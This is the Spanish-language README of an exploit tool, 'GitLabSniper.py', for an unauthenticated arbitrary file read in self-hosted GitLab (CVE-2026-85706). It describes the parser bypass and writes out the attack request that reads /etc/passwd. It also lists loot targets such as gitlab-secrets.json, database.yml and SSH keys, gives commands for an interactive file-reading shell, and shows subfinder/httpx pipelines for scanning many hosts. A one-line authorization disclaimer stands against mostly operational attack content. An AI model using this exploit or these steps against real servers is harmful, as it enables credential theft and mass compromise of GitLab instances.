
Escáner y exploit de Python en un solo archivo para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE autogestionado, con enumeración de proyectos, rutas de loot y una shell interactiva.
CVE-2026-85706 — lectura arbitraria de archivos no autenticada en GitLab CE/EE
detección · enumeración de proyectos públicos · recolección · shell interactiva · canalización subfinder/httpx
Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sitio: ynsmroztas.github.io
Correo: [email protected]
Úsalo solo en sistemas que poseas o para los que tengas autorización explícita de prueba (bug bounty / VDP / contrato por escrito).
GitLabSniper.py es un escáner/exploit de Python en un solo archivo para CVE-2026-85706: una lectura de archivos locales no autenticada en instancias autogestionadas de GitLab Community Edition y Enterprise Edition.
No se detiene en "la versión parece afectada". Dispara el bypass de diferencial del parser de Workhorse, clasifica la respuesta de Rails y solo imprime FILE LEAK cuando el cuerpo 400 contiene los bytes del archivo dentro de invalid %-encoding (...).
| Banda | Versiones |
|---|---|
| Afectadas | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Parcheadas | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Fuera de alcance | gitlab.com · GitLab Dedicated |
Tres endpoints de repositorio están detrás del requestBodyUploader de Workhorse:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails toma el campo crudo file.path y ejecuta File.open antes de authenticate!. require_gitlab_workhorse! no es una barrera real aquí: Workhorse ya estampa un JWT válido Gitlab-Workhorse-Api-Request en todo lo que proxya.
Se suponía que Workhorse reescribiría primero la subida. Su regex de ruta coincide con EscapedPath() y un clon de path.Clean que nunca decodifica porcentajes. Puma sí decodifica %XX antes del enrutado de Grape.
Atacante
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← la barra final también se cuela
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse la regex ve "%63ommits" / "commits/" → FALLO (sin reescritura)
│
▼
Puma decodifica %63 → commits → ENRUTA a Rails
│
▼
Rails File.open(params[:file][:path]) → ANTES de auth
│
▼
Rack parse_nested_query(File.read(path))
"%" suelto que no es %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<bytes crudos del archivo>)
file= en blanco satisface requires :file, WorkhorseFile (en blanco → nil). El canal de fuga es la rama urlencoded. JSON/Oj no devuelve los bytes del archivo de la misma forma — la herramienta siempre envía Content-Type=application/x-www-form-urlencoded.
//, /./, %2F y ; no evaden: path.Clean normaliza los dos primeros y Puma rechaza %2F.
El id del proyecto no es "de qué repo robar archivos". file.path es una ruta absoluta del servidor. El id es solo la pieza de la URL que llega al controlador vulnerable.
| Endpoint | Requisito de proyecto |
|---|---|
files (%66iles) | Cualquier id suele funcionar — File.open es antes de las comprobaciones de proyecto |
commits (%63ommits, commits/, commits.json) | Necesita un proyecto que un usuario anónimo pueda read_code. De lo contrario 404 Project Not Found |
Por eso la herramienta enumera GET /api/v4/projects y omite los ids restringidos.
Una fuga confirmada requiere esta subcadena en el cuerpo:
invalid %-encoding (
Los archivos sin un % solitario aún pueden abrirse (read-noecho / más tarde branch is required) pero no se reflejarán. Eso es un oráculo, no un volcado reportable.
x-gitlab-* / sign-in) + rango de versión cuando es visibleGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, claves ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI eliminado-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Sin otras dependencias.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin no es un TTY → --pipe está implícito
cat hosts.txt | python3 GitLabSniper.py --auto
El parser acepta:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host y host:port sin formato[0] / timeout / vacías